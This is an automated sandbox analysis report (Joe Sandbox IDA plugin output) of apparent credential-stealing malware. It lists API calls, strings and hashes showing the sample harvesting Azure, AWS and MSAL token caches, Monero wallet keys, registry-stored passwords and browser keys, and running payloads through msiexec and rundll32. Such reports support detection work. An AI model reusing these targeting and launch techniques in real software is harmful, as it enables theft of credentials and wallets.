Part of subcall function 00FC4910: StrCmpCA.SHLWAPI(?,00FD0FDC), ref: 00FC4971
Part of subcall function 00FC4910: StrCmpCA.SHLWAPI(?,00FD0FE0), ref: 00FC4987
Part of subcall function 00FC4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00FC4B7D
Part of subcall function 00FC4910: FindClose.KERNEL32(000000FF), ref: 00FC4B92

lstrcat.KERNEL32(?,00000000), ref: 00FC4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00FC4EE5

Part of subcall function 00FC4910: wsprintfA.USER32 ref: 00FC49B0
Part of subcall function 00FC4910: StrCmpCA.SHLWAPI(?,00FD08D2), ref: 00FC49C5
Part of subcall function 00FC4910: wsprintfA.USER32 ref: 00FC49E2
Part of subcall function 00FC4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00FC4A1E
Part of subcall function 00FC4910: lstrcat.KERNEL32(?,00C8EA18), ref: 00FC4A4A
Part of subcall function 00FC4910: lstrcat.KERNEL32(?,00FD0FF8), ref: 00FC4A5C
Part of subcall function 00FC4910: lstrcat.KERNEL32(?,?), ref: 00FC4A70
Part of subcall function 00FC4910: lstrcat.KERNEL32(?,00FD0FFC), ref: 00FC4A82
Part of subcall function 00FC4910: lstrcat.KERNEL32(?,?), ref: 00FC4A96
Part of subcall function 00FC4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00FC4AAC
Part of subcall function 00FC4910: DeleteFileA.KERNEL32(?), ref: 00FC4B31

Strings

\.aws\, xrefs: 00FC4E4D
Azure\.aws, xrefs: 00FC4E5F
Azure\.IdentityService, xrefs: 00FC4EEB
msal.cache, xrefs: 00FC4EF0
*.*, xrefs: 00FC4DD8
*.*, xrefs: 00FC4E64
\.azure\, xrefs: 00FC4DC1
\.IdentityService\, xrefs: 00FC4ED9
Azure\.azure, xrefs: 00FC4DD3

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 4e4f9e8ac05995c67017c0f8dab0f94233d2ed8b8ab140c570ef5fe9c47fedff
Instruction ID: a06b5194cb987a36f9b79701a890cc914734e96c7fd5c5b841d3afa1c044b8c6
Opcode Fuzzy Hash: 4e4f9e8ac05995c67017c0f8dab0f94233d2ed8b8ab140c570ef5fe9c47fedff
Instruction Fuzzy Hash: 1641D57A94020867D724F770EC47FED3738AB24704F044458B149A61C1EEF8ABC9AB93

Function 00FC9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00FC906C

Strings

image/jpeg, xrefs: 00FC9136

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: c54b3dde8ed9217351eed551a71ac5d2787b06a25da1d0a895712c40ce02fd7f
Instruction ID: 00f5102f3e764b9dbdea188c04960e34b79214f6fb693fecbd2e699a7174e1bc
Opcode Fuzzy Hash: c54b3dde8ed9217351eed551a71ac5d2787b06a25da1d0a895712c40ce02fd7f
Instruction Fuzzy Hash: 2D711075900209ABCB18DFE4ED89FEDB7B8BF48700F14811CF519A7284DB79A945DB60

Function 00FC2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

ShellExecuteEx.SHELL32(0000003C), ref: 00FC31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00FC335D
ShellExecuteEx.SHELL32(0000003C), ref: 00FC34EA

Strings

<, xrefs: 00FC3490
"" , xrefs: 00FC309A
.dll, xrefs: 00FC31E5
C:\Windows\system32\msiexec.exe, xrefs: 00FC34BF
.msi, xrefs: 00FC3398
C:\Windows\system32\rundll32.exe, xrefs: 00FC3332
/i ", xrefs: 00FC33E4
/passive, xrefs: 00FC345B

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8016780d16bf68d3e6c3095108ad8a20efde23346f0c7f3f151311b5fb0b9352
Instruction ID: 375b9023a76a356227f38f3f06603f758557a65a40eca00d8c1783ade78a543a
Opcode Fuzzy Hash: 8016780d16bf68d3e6c3095108ad8a20efde23346f0c7f3f151311b5fb0b9352
Instruction Fuzzy Hash: A312FB7180010D9BDB19EBA0DE93FEDB738AF14304F54415DE50666191EF387B4AEBA2

Function 00FC52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB6280: InternetOpenA.WININET(00FD0DFE,00000001,00000000,00000000,00000000), ref: 00FB62E1
Part of subcall function 00FB6280: StrCmpCA.SHLWAPI(?,00C8EAA8), ref: 00FB6303
Part of subcall function 00FB6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FB6335
Part of subcall function 00FB6280: HttpOpenRequestA.WININET(00000000,GET,?,00C8E368,00000000,00000000,00400100,00000000), ref: 00FB6385
Part of subcall function 00FB6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FB63BF
Part of subcall function 00FB6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FB63D1

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00FC5318
lstrlen.KERNEL32(00000000), ref: 00FC532F

Part of subcall function 00FC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FC8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00FC5364
lstrlen.KERNEL32(00000000), ref: 00FC5383
lstrlen.KERNEL32(00000000), ref: 00FC53AE

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Strings

ERROR, xrefs: 00FC54A9
ERROR, xrefs: 00FC53B9
ERROR, xrefs: 00FC530A
ERROR, xrefs: 00FC546F
ERROR, xrefs: 00FC5432

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 455ed202a1a5cf42c8c5aa1de5606a00d89505b2cf978ca056f8839c9832b709
Instruction ID: 1713332b3ea25cc6a71ae414df05d6f002d17e966d9bd4d67eca6f0414adead0
Opcode Fuzzy Hash: 455ed202a1a5cf42c8c5aa1de5606a00d89505b2cf978ca056f8839c9832b709
Instruction Fuzzy Hash: 5351B77091014EABDB18EF60DE97FED7779AF50304F50402CE40A5A592EF387A46EB62

Function 00FC12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: fe00b27e1f5ec65b6911bce2e847649ad17e95aca3ae17912eaf7dbc6eb9bb6a
Instruction ID: 6225ebc5c509eaa74d62fc8ece741f37cd16bf73d714f24912264886e90e9dc1
Opcode Fuzzy Hash: fe00b27e1f5ec65b6911bce2e847649ad17e95aca3ae17912eaf7dbc6eb9bb6a
Instruction Fuzzy Hash: 1AC1A6B590011E9BCB18EF60DD8AFEA7378BF54304F00459CE11E67181EA78EA95DF91

Function 00FC4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FC42EC
lstrcat.KERNEL32(?,00C8E2D8), ref: 00FC430B
lstrcat.KERNEL32(?,?), ref: 00FC431F
lstrcat.KERNEL32(?,00C8D2D8), ref: 00FC4333

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FC8D90: GetFileAttributesA.KERNEL32(00000000,?,00FB1B54,?,?,00FD564C,?,?,00FD0E1F), ref: 00FC8D9F

Part of subcall function 00FB9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00FB9D39

Part of subcall function 00FB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
Part of subcall function 00FB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
Part of subcall function 00FB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
Part of subcall function 00FB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
Part of subcall function 00FB99C0: LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
Part of subcall function 00FB99C0: CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

Part of subcall function 00FC93C0: GlobalAlloc.KERNEL32(00000000,00FC43DD,00FC43DD), ref: 00FC93D3

StrStrA.SHLWAPI(?,00C8E278), ref: 00FC43F3
GlobalFree.KERNEL32(?), ref: 00FC4512

Part of subcall function 00FB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9AEF
Part of subcall function 00FB9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B01
Part of subcall function 00FB9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FB4EEE,00000000,00000000), ref: 00FB9B2A
Part of subcall function 00FB9AC0: LocalFree.KERNEL32(?,?,?,?,00FB4EEE,00000000,?), ref: 00FB9B3F

lstrcat.KERNEL32(?,00000000), ref: 00FC44A3
StrCmpCA.SHLWAPI(?,00FD08D1), ref: 00FC44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00FC44D2
lstrcat.KERNEL32(00000000,?), ref: 00FC44E5
lstrcat.KERNEL32(00000000,00FD0FB8), ref: 00FC44F4

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 2a1fa46370245d052945bf4a506453a45e3427508129c40e2e9f1f9636e7b63e
Instruction ID: f0814fbb93b98ba6008ad029261edff889783bda987de37504968ffc32a3805b
Opcode Fuzzy Hash: 2a1fa46370245d052945bf4a506453a45e3427508129c40e2e9f1f9636e7b63e
Instruction Fuzzy Hash: 52719776900208ABCB14EBA0DD96FEE7779BF48300F04459CF60997181DA78EB55DF91

Function 00FB1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB12B4
Part of subcall function 00FB12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00FB12BB
Part of subcall function 00FB12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00FB12D7
Part of subcall function 00FB12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FB12F5
Part of subcall function 00FB12A0: RegCloseKey.ADVAPI32(?), ref: 00FB12FF

lstrcat.KERNEL32(?,00000000), ref: 00FB134F
lstrlen.KERNEL32(?), ref: 00FB135C
lstrcat.KERNEL32(?,.keys), ref: 00FB1377

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FC8B60: GetSystemTime.KERNEL32(00FD0E1A,00C8A450,00FD05AE,?,?,00FB13F9,?,0000001A,00FD0E1A,00000000,?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FC8B86

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00FB1465

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
Part of subcall function 00FB99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
Part of subcall function 00FB99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
Part of subcall function 00FB99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
Part of subcall function 00FB99C0: LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
Part of subcall function 00FB99C0: CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

DeleteFileA.KERNEL32(00000000), ref: 00FB14EF

Strings

\Monero\wallet.keys, xrefs: 00FB138D
.keys, xrefs: 00FB136B
wallet_path, xrefs: 00FB1330
SOFTWARE\monero-project\monero-core, xrefs: 00FB1335

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 7c0e95a2df562409a2114f52c2b82723a3d25b2ba60b913607f91d054171d26c
Instruction ID: fbc1808a08224817020816208fc573586efbdae158fdd11616e05be9bce53a6e
Opcode Fuzzy Hash: 7c0e95a2df562409a2114f52c2b82723a3d25b2ba60b913607f91d054171d26c
Instruction Fuzzy Hash: 0A5111B195011D97CB25EB60DD97FED733CAF54304F4041ACB60AA2081EE786B85DFA6

Function 00FB75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00FB733A
Part of subcall function 00FB72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FB73B1
Part of subcall function 00FB72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FB740D
Part of subcall function 00FB72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00FB7452
Part of subcall function 00FB72D0: HeapFree.KERNEL32(00000000), ref: 00FB7459

lstrcat.KERNEL32(00000000,00FD17FC), ref: 00FB7606
lstrcat.KERNEL32(00000000,00000000), ref: 00FB7648
lstrcat.KERNEL32(00000000, : ), ref: 00FB765A
lstrcat.KERNEL32(00000000,00000000), ref: 00FB768F
lstrcat.KERNEL32(00000000,00FD1804), ref: 00FB76A0
lstrcat.KERNEL32(00000000,00000000), ref: 00FB76D3
lstrcat.KERNEL32(00000000,00FD1808), ref: 00FB76ED
task.LIBCPMTD ref: 00FB76FB

Strings

: , xrefs: 00FB764E

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: f420b6868061665dc96a231e4c55222be55dc5061dd36fa8fb35b1242e02ea1c
Instruction ID: f0b4de491e221acd154f78deed544f5998dc977d2c433e1d6aa6f217fe8e3746
Opcode Fuzzy Hash: f420b6868061665dc96a231e4c55222be55dc5061dd36fa8fb35b1242e02ea1c
Instruction Fuzzy Hash: D7314DB2900209DBCB18EBA5EC85DEE7779BF84301F14412CE116A7284DA38A986EF51

Function 00FC8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00C8DF90,00000000,?,00FD0E2C,00000000,?,00000000), ref: 00FC8130
RtlAllocateHeap.NTDLL(00000000), ref: 00FC8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00FC8158
__aulldiv.LIBCMT ref: 00FC8172
